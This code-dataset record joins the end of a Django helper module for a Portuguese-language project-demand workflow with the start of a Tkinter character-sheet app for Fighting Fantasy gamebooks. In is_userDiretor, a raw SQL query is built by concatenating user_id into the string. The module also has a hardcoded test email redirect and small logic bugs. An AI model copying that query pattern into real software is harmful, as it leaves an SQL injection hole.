get_equipe ( id_projeto , is_contratada , tipo_responsavel ):\n tipo_empresa = 'C' if is_contratada else 'T'\n id_perfil = Perfil.objects.get ( descricao=tipo_responsavel ).id\n colecao_equipes = Equipe.objects.filter ( projeto_FK_id=id_projeto ,\n perfil_id=id_perfil ,\n tipo=tipo_empresa ).values_list ( \"usuario_id\" , flat=True )\n\n saida = [ {\"username\": item.username ,\n \"email\": item.email ,\n \"first_name\": item.first_name ,\n \"last_name\": item.last_name ,\n \"id\": item.id} for item in User.objects.filter ( id__in=colecao_equipes ) ]\n\n return saida\n\n\ndef perfil_by_usr_proj ( id_projeto , id_usuario ):\n saida = (None , None)\n\n membro_equipe = Equipe.objects.get ( projeto_FK_id=id_projeto ,\n usuario_id=id_usuario )\n saida = (str ( membro_equipe.perfil ) , membro_equipe.tipo == 'C')\n\n return saida\n\n\ndef grava_log ( rec_obj1 , rec_obj2 , id_usr ):\n obj_usr = id_usr\n obj_log = Log_Demanda ( demanda_FK=rec_obj2 ,\n usuario_FK= rec_obj2.usuario_origem,\n observacao=rec_obj2.observacao ,\n status_FK=rec_obj2.status_FK , )\n\n Log_Demanda.save ( obj_log )\n\n obj1 = rec_obj1.__dict__\n obj2 = rec_obj2.__dict__\n\n campos = [ 'classe_FK_id' , 'data_encerramento' , 'data_inclusao' , 'data_prevista' , 'estimativa_horas' ,\n 'horas_realizadas' , 'id' , 'nome' , 'observacao' , 'projeto_FK_id' , 'status_FK_id' , 'tipo_FK_id' ,\n 'usuario_destino_id' , 'usuario_origem_id' ]\n\n\n for campo in obj1:\n\n if campo not in campos:\n continue\n\n if str ( obj1[ campo ] ) != str ( obj2[ campo ] ):\n de = obj1[ campo ]\n para = obj2[ campo ]\n if campo in [ 'usuario_origem_id' ,\n 'usuario_destino_id'\n 'observacao' ]:\n continue\n if 'tipo_FK' in campo:\n\n campo = 'Tipo de Tarefa'\n de = Tipo_Tarefa.objects.get ( pk=de ).descricao\n para = Tipo_Tarefa.objects.get ( pk=para ).descricao\n\n obj_item = Log_Demanda_Item ( log_FK=obj_log ,\n campo=campo ,\n de=de ,\n para=para )\n Log_Demanda_Item.save ( obj_item )\n\ndef corpo_email(obj_demanda):\n user_Orig_FirstName = obj_demanda.usuario_origem.first_name\n user_Dest_FirstName = obj_demanda.usuario_destino.first_name\n user_Orig_LastName = obj_demanda.usuario_origem.last_name\n user_Dest_LastName = obj_demanda.usuario_destino.last_name\n user_Dest_FullName = user_Dest_FirstName+\" \"+user_Dest_LastName\n user_Orig_FullName = user_Orig_FirstName+\" \"+user_Orig_LastName\n\n user_orig_Email = User.objects.filter(id=obj_demanda.usuario_origem_id).values_list('email')[0][0]\n param = {\n 'projeto': obj_demanda.projeto_FK.cod_projeto,\n 'demanda': obj_demanda.nome,\n 'demanda_id': obj_demanda.id,\n 'usuario_destino': user_Dest_FullName,\n 'usuario_destino_first_name': user_Dest_FirstName,\n 'usuario_destino_last_name': user_Dest_LastName,\n 'usuario_origem': user_Orig_FullName,\n 'usuario_origem_first_name': user_Orig_FirstName,\n 'usuario_origem_last_name': user_Orig_LastName,\n 'usuario_origem_email': user_orig_Email\n }\n template_db = Status_Demanda.objects.filter(pk=obj_demanda.status_FK_id).values('email_template', 'descricao')[0]\n content_tmp = template_db['email_template'].replace(\"\\r\\n\", \"
\")\n temp = \" \"+content_tmp+\"\"\n template = Template(temp)\n context = Context(param)\n corpo = template.render(context)\n titulo = template_db['descricao']+\" - Sistema Demanda\"\n\n return titulo, corpo\n\ndef envia_email ( registro , corpo='', dest=0):\n html_message = None\n\n if registro:\n titulo, corpo = corpo_email(registro)\n user_id = registro.usuario_destino_id\n else:\n titulo = \"Status sobre Cadastro de Demanda - Excel\"\n user_id = dest\n\n para = [User.objects.filter(id=user_id).values_list('email')[0][0]]\n\n # !!! APENAS PARA TESTES ----------------------\n titulo += \"-TESTES - Email Destino: \"+para[0]\n para = [ \"jsantos@terravisiongeo.com.br\" ]\n # !!! APENAS PARA TESTES ----------------------\n\n send_mail ( titulo ,\n corpo ,\n settings.EMAIL_HOST_USER ,\n para , html_message=corpo)\n\n\ndef is_fechado ( id_projeto ):\n return False\n\ndef cria_demanda ( entrada ):\n param = d2o ( entrada )\n\n usuario_origem = User.objects.get ( pk=param.id_usuario )\n obj_projeto = Projeto.objects.get ( pk=param.id_projeto )\n\n perfil = \"Responsável\"\n if is_fechado ( param.id_projeto ):\n is_contratada = False\n else:\n is_contratada = True\n\n col_destino = get_equipe ( param.id_projeto , is_contratada , perfil )\n usuario_destino = User.objects.get ( pk=col_destino[ 0 ][ \"id\" ] )\n\n data_prevista = dateutil.parser.parse ( param.data_prevista )\n\n obj_status = Status_Demanda.objects.get ( pk=settings.AGUARDANDO_ORCAMENTO )\n obj_classe = Tag.objects.get ( pk=param.classe )\n\n obj = Demanda ( projeto_FK=obj_projeto ,\n nome=param.nome ,\n usuario_origem=usuario_origem ,\n usuario_destino=usuario_destino ,\n observacao=param.observacao ,\n status_FK=obj_status ,\n classe_FK=obj_classe ,\n tipo_FK_id=settings.TIPO_DEFAULT_DEMANDA ,\n data_prevista=data_prevista ,\n )\n\n Demanda.save(obj)\n grava_log(obj, obj, usuario_origem.id)\n\n envia_email(obj)\n\ndef bll_altera ( entrada ):\n param = d2o ( entrada )\n obj_demanda = Demanda.objects.get ( pk=param.id )\n obj = Demanda.objects.get ( pk=param.id )\n data_prevista = dateutil.parser.parse ( param.data_prevista ).date ( )\n obj_demanda.nome = param.nome\n obj_demanda.observacao = param.observacao\n obj_demanda.data_prevista = data_prevista\n Demanda.save ( obj_demanda )\n grava_log ( obj , obj_demanda , param.user_id )\n\ndef bll_encerrar ( entrada ):\n param = d2o ( entrada )\n obj_demanda = Demanda.objects.get ( pk=param.id )\n obj1 = Demanda.objects.get ( pk=param.id )\n obj_demanda.status_FK = Status_Demanda.objects.get ( pk=settings.ENCERRADA )\n obj_demanda.observacao = param.observacao\n obj_demanda.usuario_origem = User.objects.get ( pk=param.user_id )\n obj_demanda.horas_realizadas = param.horas_realizadas\n obj_demanda.data_encerramento = date.today ( )\n Demanda.save ( obj_demanda )\n grava_log ( obj1 , obj_demanda , param.user_id )\n\n envia_email(obj_demanda, corpo_email(5))\n\ndef bll_analisa ( entrada ):\n param = d2o ( entrada )\n\n obj_demanda = Demanda.objects.get ( pk=param.id )\n obj1 = Demanda.objects.get ( pk=param.id )\n obj_demanda.status_FK = Status_Demanda.objects.get ( pk=param.resultado )\n obj_demanda.usuario_origem = User.objects.get ( pk=param.user_id )\n obj_demanda.observacao = param.observacao\n col_destino = get_equipe ( obj_demanda.projeto_FK.id , True , \"Responsável\" )\n obj_demanda.usuario_destino = User.objects.get ( pk=col_destino[ 0 ][ \"id\" ] )\n Demanda.save ( obj_demanda )\n grava_log ( obj1 , obj_demanda , param.user_id )\n envia_email(obj_demanda)\n\n\ndef is_aprovado ( id_projeto , horas ):\n is_aprovacao = True\n obj_projeto = Projeto.objects.get ( pk=id_projeto )\n col_status_tarefa = Status_Demanda.objects.filter ( clc_horas='S' ).values ( 'id' )\n col_demandas = Demanda.objects.filter ( projeto_FK=obj_projeto ).values ( 'status_FK__id' ,\n 'horas_realizadas' ,\n 'estimativa_horas' )\n vlr_horas = 0\n for item in col_demandas:\n if item[ 'status_FK__id' ] in col_status_tarefa:\n vlr_horas += max ( item[ 'horas_realizadas' ] , item[ 'estimativa_horas' ] )\n\n vlr_horas += float ( horas )\n\n if vlr_horas > obj_projeto.horas_franq or vlr_horas > obj_projeto.horas_previ:\n is_aprovacao = False\n\n return is_aprovacao\n\n\ndef bll_orcamento ( entrada ):\n param = d2o ( entrada )\n obj_demanda = Demanda.objects.get ( pk=param.id )\n obj1 = Demanda.objects.get ( pk=param.id )\n\n obj_demanda.usuario_origem = User.objects.get ( pk=param.user_id )\n\n id_tipo_demanda = None\n if is_aprovado ( obj_demanda.projeto_FK_id , param.estimativa ):\n id_tipo_demanda = settings.EXECUTANDO\n else:\n id_tipo_demanda = settings.ORCADO\n col_destino = get_equipe ( obj_demanda.projeto_FK.id , False , \"Responsável\" )\n obj_demanda.usuario_destino = User.objects.get ( pk=col_destino[ 0 ][ \"id\" ] )\n\n obj_demanda.observacao = param.observacao\n obj_demanda.tipo_FK = Tipo_Tarefa.objects.get ( pk=param.tipo )\n obj_demanda.estimativa_horas = param.estimativa\n obj_demanda.status_FK = Status_Demanda.objects.get ( pk=id_tipo_demanda )\n Demanda.save ( obj_demanda )\n grava_log ( obj1 , obj_demanda , param.user_id )\n\n envia_email(obj_demanda)\n\n\ndef bll_delega ( entrada ):\n param = d2o ( entrada )\n obj_demanda = Demanda.objects.get ( pk=param.id )\n obj_demanda2 = Demanda.objects.get ( pk=param.id )\n obj1 = Demanda.objects.get ( pk=param.id )\n\n obj_demanda2.status_FK.id = 2\n obj_demanda2.usuario_destino = User.objects.get ( pk=param.usuario_destino )\n obj_demanda2.usuario_origem = User.objects.get ( pk=param.usuario_destino )\n\n obj_demanda.usuario_origem = User.objects.get ( pk=param.user_id )\n obj_demanda.status_FK = Status_Demanda.objects.get ( pk=settings.DELEGADO )\n obj_demanda.usuario_destino = User.objects.get ( pk=param.usuario_destino )\n obj_demanda.observacao = param.observacao\n Demanda.save ( obj_demanda )\n Demanda.save ( obj_demanda2 )\n\n grava_log ( obj1 , obj_demanda , param.user_id )\n grava_log ( obj1 , obj_demanda2 , param.user_id )\n\n envia_email(obj_demanda)\n\n\ndef bll_cancela ( entrada ):\n param = d2o ( entrada )\n obj_demanda = Demanda.objects.get ( pk=param.id )\n obj1 = Demanda.objects.get ( pk=param.id )\n obj_demanda.usuario_origem = User.objects.get ( pk=param.user_id )\n obj_demanda.observacao = param.observacao\n obj_demanda.status_FK = Status_Demanda.objects.get ( pk=settings.CANCELADA )\n obj_demanda.data_encerramento = date.today ( )\n Demanda.save ( obj_demanda )\n grava_log ( obj1 , obj_demanda , param.user_id )\n\n\ndef bll_cadanexo ( entrada ):\n param = d2o ( entrada )\n obj_demanda = Demanda.objects.get ( pk=param.id )\n obj = Anexo ( demanda_FK=obj_demanda ,\n nome=param.nome ,\n usuario=param.usuario ,\n documento=param.documento )\n Anexo.save ( obj )\n\ndef bll_cadplanilha(entrada):\n param_dados = d2o ( entrada )\n tabela, corp, erros = processa_cadastro_planilha(param_dados)\n\n if not erros:\n for content in tabela:\n obj_projeto = Projeto.objects.get(cod_projeto=content['projeto'])\n tag_estudo = Tag.objects.filter(projeto_FK=obj_projeto, nome=content['estudo']).values_list('id')[0][0]\n param = {\"id_projeto\": obj_projeto.id,\n \"id_usuario\": param_dados.user_id,\n \"observacao\": content['obs'],\n \"nome\": content['demanda'],\n \"data_prevista\": str(content['data']),\n \"classe\": tag_estudo\n }\n cria_demanda(param)\n\n envia_email(None, corp, param_dados.user_id)\n\ndef bll_attplanilha(entrada):\n param_dados = d2o ( entrada )\n tabela, corp, erros = processa_atualiza_demanda(param_dados)\n\n if not erros:\n for content in tabela:\n demanda_id = int(content['id'])\n demanda = Demanda.objects.get(pk=demanda_id)\n\n horas_estimadas = demanda.estimativa_horas\n horas_previstas = content['horas_previstas']\n horas_realizadas = demanda.horas_realizadas\n horas_lancadas = content['horas_lançadas']\n if horas_estimadas != horas_previstas:\n param = {'id': demanda_id ,\n 'observacao': content['observações'] ,\n 'tipo': content['tipo_orçamento'] ,\n \"user_id\": param_dados.user_id ,\n 'estimativa': content['horas_previstas']\n }\n bll_orcamento ( param )\n print(\"Horas Previstas\")\n elif horas_realizadas != horas_lancadas:\n param ={ 'id' : demanda_id,\n 'horas_realizadas' : content['horas_lançadas'],\n \"user_id\" : param_dados.user_id,\n 'observacao' : content['observações']\n }\n bll_encerrar(param)\n print(\"Horas Lançadas\")\n\n envia_email(None, corp, param_dados.user_id)\n\ndef get_projeto_contexto ( registro , context ):\n context[ \"resp_contratante\" ] = get_equipe ( registro.id , False , \"Responsável\" )\n context[ \"resp_contratada\" ] = get_equipe ( registro.id , True , \"Responsável\" )\n context[ 'projeto' ] = registro\n return context\n\ndef is_userTV(user_id):\n equipes = Equipe.objects.filter ( tipo='C', usuario_id=user_id)\n is_TV = False\n if equipes:\n is_TV = True\n\n return is_TV\n\ndef is_userDiretor(user_id):\n sql = \"\"\"\n SELECT empresas_pessoa.perfil_id\n FROM\n public.empresas_pessoa\n WHERE\n empresas_pessoa.usuario_id = \"\"\"+str(user_id)\n cursor = connection.cursor()\n cursor.execute(sql)\n sqlresult = cursor.fetchone()[0]\n\n is_Diretor = False\n if sqlresult == 5:\n is_Diretor = True\n\n return is_Diretor\n\ndef get_acoes_demanda ( obj_demanda , id_usuario ):\n orcamento = False\n cadastrar = False\n delega = False\n altera = False\n encerrar = False\n userTV = False\n aprovacao = False\n cancela = False\n anexar = True\n\n status = obj_demanda.status_FK.id\n\n perfil , contratada = perfil_by_usr_proj ( obj_demanda.projeto_FK.id , id_usuario )\n\n if status in (settings.CANCELADA , status == settings.ENCERRADA) or not perfil:\n return {'orcamento': orcamento ,\n 'delega': delega ,\n 'encerrar': encerrar ,\n 'anexar': anexar ,\n 'cancela': cancela ,\n 'aprovacao': aprovacao ,\n 'altera': altera}\n\n contratante = not contratada\n\n is_origem = obj_demanda.usuario_origem.id == id_usuario\n is_destino = obj_demanda.usuario_destino.id == id_usuario\n\n # Cadastrar\n if contratante and perfil in [ 'Técnico' ]:\n cadastrar = True\n\n # Recusar Aprovar\n if contratante and perfil in [ 'Responsável' ] and status == settings.ORCADO:\n aprovacao = True\n\n # Orçamento\n if contratada and (perfil in [ 'Responsável' , ] or is_origem or is_destino) and status == settings.AGUARDANDO_ORCAMENTO:\n orcamento = True\n\n # Delegar\n if contratada and (perfil in [ 'Responsável' , ] or is_origem):\n if status in (settings.AGUARDANDO_ORCAMENTO , settings.APROVADO):\n delega = True\n\n # Alterar\n if is_origem and status == settings.AGUARDANDO_ORCAMENTO:\n altera = True\n\n # Cancelar\n if status == settings.AGUARDANDO_ORCAMENTO and is_origem:\n cancela = True\n\n if perfil in [ 'Responsável' , ] or is_origem:\n cancela = True\n\n # Encerrar\n if contratada and perfil in [ 'Responsável' , ] or is_origem or is_destino:\n if status == settings.APROVADO:\n encerrar = True\n\n if is_userTV(id_usuario) and status == settings.ENCERRADA:\n userTV = True\n\n return {'orcamento': orcamento ,\n 'delega': delega ,\n 'encerrar': encerrar ,\n 'cadastrar': cadastrar ,\n 'cancela': cancela ,\n 'anexar': anexar ,\n 'aprovacao': aprovacao ,\n 'altera': altera,\n 'userTV': userTV\n }\n","sub_path":"helpers/perfil_projeto.py","file_name":"perfil_projeto.py","file_ext":"py","file_size_in_byte":17161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"380322182","text":"\"\"\"\r\nAlasdair Smith\r\nStarted 20/12/2016\r\n\r\nModule for the Fighting Fantasy Program\r\nDefines the Character Sheet GUI Class and Character Object Class\r\n\r\nFor Fighting Fantasy Gamebooks:\r\nIan Livingstone's Caverns of the White Witch & similar\r\n\r\nInlcudes all global (used by more than one module) global value declarations\r\n\r\nInitial stats are rolled using a 6-sided die as follows:\r\n 1 roll + 6 for skill\r\n 1 roll + 6 for luck\r\n 2 rolls + 12 for stamina\r\n\"\"\"\r\nfrom tkinter import *\r\nfrom tkinter.font import *\r\n#from tkinter.ttk import * #Can't use because it's buttons don't support fonts\r\nimport ff_extras\r\nimport ff_combatscreen\r\nimport ff_logbook\r\n\r\nFONT_FAMILY = \"courier\" #Use a monospaced font to make things easier\r\nBIG_FONT = 24 #Standard font size\r\nMIDDLE_FONT = 16 #For buttons\r\nSMALL_FONT = 10 #For credits and the logbook\r\nRATION_RESTORES = 4 #Stamina\r\nDEFAULT_STATS = {\"skill\": 1, \"luck\": 1, \"stamina\": 1, \"rations\": 0}\r\nDEFAULT_NAME = \"Champion\"\r\nENEMY_NAME = \"Enemy\"\r\nINVENTORY_TEXT = \"Items:\\n\"\r\nCREDITS_TEXT = \"\"\"\r\nMade by Alasdair Smith (@ealasdair) for the Yogscast Charity Jingle Jam livesteams through December 2017\r\n\r\nStarted: Dec 2016 Last Edit: Aug 2017\r\n\"\"\"\r\n\r\nclass Character:\r\n \"\"\"\r\n Defines the Character class for Fighting Fantasy Main Characters\r\n \r\n Attributes:\r\n str name - the character name, unique identifier\r\n dict stats - dictionary of ints: {'skill', 'luck', 'stamina', 'rations'}\r\n str potion - a separate item held by the character, no particular value\r\n str inventory - all other items held by the character, formatted by the player\r\n \r\n Methods:\r\n change_char_stat: Changes the given stat of the character by the given amount\r\n roll_stats: Automatically assigns valid stats to the character\r\n \"\"\"\r\n def __init__(self, name=DEFAULT_NAME, stats=None, potion=None, inventory=INVENTORY_TEXT):\r\n \"\"\"Initialises the character, based on given data input\"\"\"\r\n self.name = name\r\n self.stats = stats\r\n self.potion = potion\r\n self.inventory = inventory\r\n if self.stats is None:\r\n self.stats = ff_extras.copy_dict(DEFAULT_STATS)\r\n if self.potion is None:\r\n self.potion = \"\"\r\n \r\n def __repr__(self):\r\n \"\"\"For testing\"\"\"\r\n template = \"Name: {}\\nStats: {}\\nPotion: {}\\n\"\r\n return template.format(self.name, self.stats, self.potion)\r\n \r\n def change_char_stat(self, stat, amount):\r\n \"\"\"Changes the primary stat given by amount.\"\"\"\r\n self.stats[stat] += amount\r\n \r\n def roll_stats(self):\r\n \"\"\"Assigns valid skill, luck & stamina stats\"\"\"\r\n self.stats['skill'] = ff_extras.roll_dice() + 6\r\n self.stats['luck'] = ff_extras.roll_dice() + 6\r\n self.stats['stamina'] = ff_extras.roll_dice(dice=2) + 12\r\n\r\nclass CharacterSheetGui:\r\n \"\"\"\r\n The entire Fighting Fantasy character sheet window for this program.\r\n Works closely with the Character class to show and edit information\r\n \r\n Non-GUI Attributes:\r\n obj character: Character class object - The GUI is linked to this character\r\n str std_val: Empty string with braces to display ints as though at least\r\n 2 digits existed\r\n \r\n All widgets are classified by self.widgetname\r\n Frames are classified just as framename\r\n \r\n Methods:\r\n run_character_gui: Builds the main window of the character sheet\r\n clear_potion: Clears the potion entry widget and Character.potion\r\n eat_ration: reduce rations by 1 and raise stamina by [RATION_RESTORES]\r\n change_stat: Calls Character.change_char_stat; which changes the given\r\n stat of the character by the given amount, then refreshes the stat labels\r\n update_primary_labels: Catch-all that updates the values of all primary stat labels\r\n auto_stats: Calls Character.roll_stats(), which assigns new valid stats to the\r\n character, then updates all relevant fields in the GUI\r\n update_from_entrys: Updates character attributes from the values of user-input text fields\r\n fight_battle: Runs the combat gui\r\n refresh_logbook: Updates the logbook label\r\n \"\"\"\r\n def __init__(self, window, character):\r\n \"\"\"Initialises the class with the character it is representing\r\n Then brings up the character sheet window\"\"\"\r\n self.character = character #This just points self.character at the same place as character (good)\r\n self.character_window = window\r\n self.std_val = '{:2d}' #To display ints as though 2 digits existed\r\n self.char_logs = ff_logbook.Logbook()\r\n \r\n #Set custom fonts\r\n self.headerfont = Font(family=FONT_FAMILY, size=BIG_FONT)\r\n self.buttonfont = Font(family=FONT_FAMILY, size=MIDDLE_FONT)\r\n self.smallfont = Font(family=FONT_FAMILY, size=SMALL_FONT)\r\n \r\n #Finish by running the main character gui\r\n self.run_character_gui()\r\n \r\n def run_character_gui(self):\r\n \"\"\"Brings up a window displaying all attributes of the character,\r\n plus options\"\"\"\r\n g_text = {\"stamina\" : \"Stamina:\",\r\n \"skill\" : \"Skill:\",\r\n \"luck\" : \"Luck:\",\r\n \"rations\" : \"Rations:\",\r\n \"potion\" : \"Potion:\",\r\n \"fight\" : \"FIGHT\\nBATTLE\",\r\n \"logs\" : \"Logbook:\",\r\n \"help\" : \"More Info\",\r\n \"reroll\" : \"REROLL STATS\",\r\n \"clear\" : \"CLEAR\",\r\n \"eat\" : \"EAT\",\r\n \"roll\" : \"ROLL\"\r\n }\r\n stats_frame_xpad = 20 #x-axis padding for the main stats row\r\n #ADD (SMALL) IMAGES FOR THE PLUS AND MINUS BUTTONS\r\n plus_image = PhotoImage(file='plus.gif')\r\n minus_image = PhotoImage(file='minus.gif')\r\n \r\n #This block specifies all the different widgets\r\n #----------------------------------------------------------------------#\r\n #ALL THE MAIN FRAMES\r\n title_frame = Frame(self.character_window)\r\n title_frame.grid(row=0, column=0, columnspan=5, pady=10)\r\n stats_frame = Frame(self.character_window)\r\n stats_frame.grid(row=1, column=0, columnspan=5, pady=10)\r\n items_frame = Frame(self.character_window)\r\n items_frame.grid(row=2, column=0, columnspan=3, pady=10)\r\n logs_frame = Frame(self.character_window)\r\n logs_frame.grid(row=2, column=3, columnspan=3, pady=10, sticky='n')\r\n credits_frame = Frame(self.character_window)\r\n credits_frame.grid(row=5, column=0, columnspan=5, pady=10)\r\n \r\n #NAME SECTION\r\n self.name_entry = Entry(title_frame, font=self.headerfont, width=16)\r\n self.name_entry.insert(END, self.character.name)\r\n self.name_entry.grid(row=0, column=0, columnspan=4)\r\n \r\n #STAMINA SECTION\r\n stamina_frame = Frame(stats_frame)\r\n stamina_frame.grid(row=0, column=0, columnspan=2, padx=stats_frame_xpad)\r\n self.stamina_label = Label(stamina_frame, font=self.headerfont, text=g_text['stamina'])\r\n self.stamina_label.grid(row=0, column=0)\r\n self.stamina_value_label = Label(stamina_frame, font=self.headerfont,\r\n text=self.std_val.format(self.character.stats['stamina']))\r\n self.stamina_value_label.grid(row=0, column=1)\r\n stamina_button_frame = Frame(stamina_frame)\r\n stamina_button_frame.grid(row=0, column=2)\r\n self.stamina_p_button = Button(stamina_button_frame, image=plus_image,\r\n command=lambda: self.change_stat('stamina', +1))\r\n self.stamina_p_button.grid(row=0, column=0)\r\n self.stamina_m_button = Button(stamina_button_frame, image=minus_image,\r\n command=lambda: self.change_stat('stamina', -1))\r\n self.stamina_m_button.grid(row=1, column=0)\r\n \r\n #Keep a reference - not sure how these two lines work\r\n #but they are necessary to keep the 8 images on the screen\r\n #It's something to do with the Python garbage collector\r\n self.stamina_p_button.image = plus_image\r\n self.stamina_m_button.image = minus_image\r\n \r\n #SKILL SECTION\r\n skill_frame = Frame(stats_frame)\r\n skill_frame.grid(row=0, column=2, columnspan=2, padx=stats_frame_xpad)\r\n self.skill_label = Label(skill_frame, font=self.headerfont, text=g_text['skill'])\r\n self.skill_label.grid(row=0, column=0)\r\n self.skill_value_label = Label(skill_frame, font=self.headerfont,\r\n text=self.std_val.format(self.character.stats['skill']))\r\n self.skill_value_label.grid(row=0, column=1)\r\n skill_button_frame = Frame(skill_frame)\r\n skill_button_frame.grid(row=0, column=2)\r\n self.skill_p_button = Button(skill_button_frame, image=plus_image,\r\n command=lambda: self.change_stat('skill', +1))\r\n self.skill_p_button.grid(row=0, column=0)\r\n self.skill_m_button = Button(skill_button_frame, image=minus_image,\r\n command=lambda: self.change_stat('skill', -1))\r\n self.skill_m_button.grid(row=1, column=0)\r\n \r\n #LUCK SECTION\r\n luck_frame = Frame(stats_frame)\r\n luck_frame.grid(row=0, column=4, columnspan=2, padx=stats_frame_xpad)\r\n self.luck_label = Label(luck_frame, font=self.headerfont, text=g_text['luck'])\r\n self.luck_label.grid(row=0, column=0)\r\n self.luck_value_label = Label(luck_frame, font=self.headerfont,\r\n text=self.std_val.format(self.character.stats['luck']))\r\n self.luck_value_label.grid(row=0, column=1)\r\n luck_button_frame = Frame(luck_frame)\r\n luck_button_frame.grid(row=0, column=2)\r\n self.luck_p_button = Button(luck_button_frame, image=plus_image,\r\n command=lambda: self.change_stat('luck', +1))\r\n self.luck_p_button.grid(row=0, column=0)\r\n self.luck_m_button = Button(luck_button_frame, image=minus_image,\r\n command=lambda: self.change_stat('luck', -1))\r\n self.luck_m_button.grid(row=1, column=0)\r\n self.luck_roll_button = Button(luck_frame, font=self.buttonfont, text=g_text['roll'],\r\n command=self.roll_luck)\r\n self.luck_roll_button.grid(row=0, column=3)\r\n \r\n #RATIONS SECTION\r\n rations_frame = Frame(items_frame)\r\n rations_frame.grid(row=0, column=0, columnspan=3, sticky='w')\r\n self.rations_label = Label(rations_frame, font=self.headerfont, text=g_text['rations'])\r\n self.rations_label.grid(row=0, column=0)\r\n self.rations_value_label = Label(rations_frame, font=self.headerfont,\r\n text=self.std_val.format(self.character.stats['rations']))\r\n self.rations_value_label.grid(row=0, column=1)\r\n rations_button_frame = Frame(rations_frame)\r\n rations_button_frame.grid(row=0, column=2)\r\n self.rations_p_button = Button(rations_button_frame, image=plus_image,\r\n command=lambda: self.change_stat('rations', +1))\r\n self.rations_p_button.grid(row=0, column=0)\r\n self.rations_m_button = Button(rations_button_frame, image=minus_image,\r\n command=lambda: self.change_stat('rations', -1))\r\n self.rations_m_button.grid(row=1, column=0)\r\n self.rations_eat_button = Button(rations_button_frame, font=self.buttonfont,\r\n text=g_text['eat'], command=self.eat_ration)\r\n self.rations_eat_button.grid(row=0, column=1, rowspan=2)\r\n \r\n #POTION SECTION\r\n potion_frame = Frame(items_frame)\r\n potion_frame.grid(row=1, column=0, columnspan=3, sticky='w')\r\n self.potion_label = Label(potion_frame, font=self.headerfont, text=g_text['potion'])\r\n self.potion_label.grid(row=0, column=0)\r\n self.potion_entry = Entry(potion_frame, font=self.headerfont)\r\n self.potion_entry.insert(END, self.character.potion)\r\n self.potion_entry.grid(row=0, column=1)\r\n self.clear_potion_button = Button(potion_frame, font=self.buttonfont,\r\n text=g_text['clear'], command=self.clear_potion)\r\n self.clear_potion_button.grid(row=0, column=2)\r\n \r\n #INVENTORY SECTION\r\n inventory_frame = Frame(items_frame)\r\n inventory_frame.grid(row=2, column=0, columnspan=3, sticky='w')\r\n #Text box and scroll bar for user to list on\r\n self.inventory_text = Text(inventory_frame, font=self.headerfont, height=8, width=32)\r\n self.inventory_text.grid(row=0, column=0, columnspan=2)\r\n self.inventory_text.insert(END, self.character.inventory)\r\n self.inventory_scroll = Scrollbar(inventory_frame)\r\n self.inventory_scroll.grid(row=0, column=2, sticky='nsw')\r\n self.inventory_scroll.config(command=self.inventory_text.yview)\r\n self.inventory_text.config(yscrollcommand=self.inventory_scroll.set)\r\n \r\n #REROLL STATS BUTTON\r\n self.reroll_stats_button = Button(title_frame, font=self.buttonfont,\r\n text=g_text['reroll'], command=self.auto_stats)\r\n self.reroll_stats_button.grid(row=0, column=4)\r\n \r\n #FIGHT SECTION\r\n self.fight_button = Button(logs_frame, font=self.headerfont,\r\n text=g_text['fight'], command=self.fight_battle)\r\n self.fight_button.grid(row=0, column=0)\r\n \r\n #ACTION LOG SECTION\r\n self.logs_label = Label(logs_frame, font=self.buttonfont, text=g_text['logs'])\r\n self.logs_label.grid(row=1, column=0)\r\n self.log_values = Label(logs_frame, font=self.smallfont, height=ff_logbook.NUM_LOGS,\r\n width=32, anchor='nw', justify='left')\r\n self.log_values.grid(row=2, column=0)\r\n self.log_values['text'] = self.char_logs.__repr__(is_rev=True)\r\n \r\n #CREDITS SECTION\r\n self.credits_label = Label(credits_frame, font=self.smallfont, text=CREDITS_TEXT)\r\n self.credits_label.grid(row=1, column=0)\r\n \r\n #----------------------------------------------------------------------#\r\n #End of widget definition block\r\n \r\n def clear_potion(self):\r\n \"\"\"Clears the potion entry widget and updates Character attributes\"\"\"\r\n self.potion_entry.delete(0, 'end')\r\n self.update_from_entrys()\r\n self.char_logs.add_log(ff_logbook.Log('clear_pot'))\r\n self.refresh_logbook()\r\n \r\n def eat_ration(self):\r\n \"\"\"Consume a ration and increase stamina by default value\"\"\"\r\n self.char_logs.add_log(ff_logbook.Log('space'))\r\n self.change_stat('stamina', RATION_RESTORES)\r\n self.change_stat('rations', -1)\r\n self.update_from_entrys()\r\n self.char_logs.add_log(ff_logbook.Log('eat', self.character.name))\r\n self.refresh_logbook()\r\n \r\n def roll_luck(self):\r\n \"\"\"Determine whether a luck roll was successful\"\"\"\r\n roll = ff_extras.roll_dice(dice=2) #Is it one or two dice? Neither seem quite right\r\n self.char_logs.add_log(ff_logbook.Log('space'))\r\n if roll <= self.character.stats['luck']:\r\n self.change_stat('luck', -1)\r\n self.char_logs.add_log(ff_logbook.Log('success'))\r\n else:\r\n self.char_logs.add_log(ff_logbook.Log('unchanged', \"Luck\"))\r\n self.char_logs.add_log(ff_logbook.Log('failure'))\r\n self.char_logs.add_log(ff_logbook.Log('roll_luck', roll))\r\n self.refresh_logbook()\r\n \r\n def change_stat(self, stat, change):\r\n \"\"\"Calls the change_char_stat method of the character,\r\n then updates primary labels\"\"\"\r\n self.character.change_char_stat(stat, change)\r\n #Should I update all labels or use if statements and only update the one changed?\r\n #I prefer the former as it's more of a catch-all and still isn't too taxing\r\n self.update_primary_labels()\r\n if change >= 0:\r\n self.char_logs.add_log(ff_logbook.Log(\"stat_up\", stat.title(), change))\r\n else:\r\n self.char_logs.add_log(ff_logbook.Log(\"stat_down\", stat.title(), change * -1))\r\n self.refresh_logbook()\r\n \r\n def update_primary_labels(self):\r\n \"\"\"Catch-all update of all primary stat labels: Stamina, Skill, Luck & Rations\"\"\"\r\n self.stamina_value_label['text'] = self.std_val.format(self.character.stats['stamina'])\r\n self.skill_value_label['text'] = self.std_val.format(self.character.stats['skill'])\r\n self.luck_value_label['text'] = self.std_val.format(self.character.stats['luck'])\r\n self.rations_value_label['text'] = self.std_val.format(self.character.stats['rations'])\r\n \r\n def auto_stats(self):\r\n \"\"\"Calls the roll_stats method of the character, then updates related labels\"\"\"\r\n self.character.roll_stats()\r\n self.update_primary_labels()\r\n self.update_from_entrys()\r\n self.char_logs.add_log(ff_logbook.Log(\"new_stats\"))\r\n self.refresh_logbook()\r\n \r\n def update_from_entrys(self):\r\n \"\"\"Takes values from the name, potion and items fields to update their\r\n associated character class attributes\"\"\"\r\n self.character.name = self.name_entry.get()\r\n self.character.potion = self.potion_entry.get()\r\n #Read as: inventory_text.get(from line 1.0, to end of Text 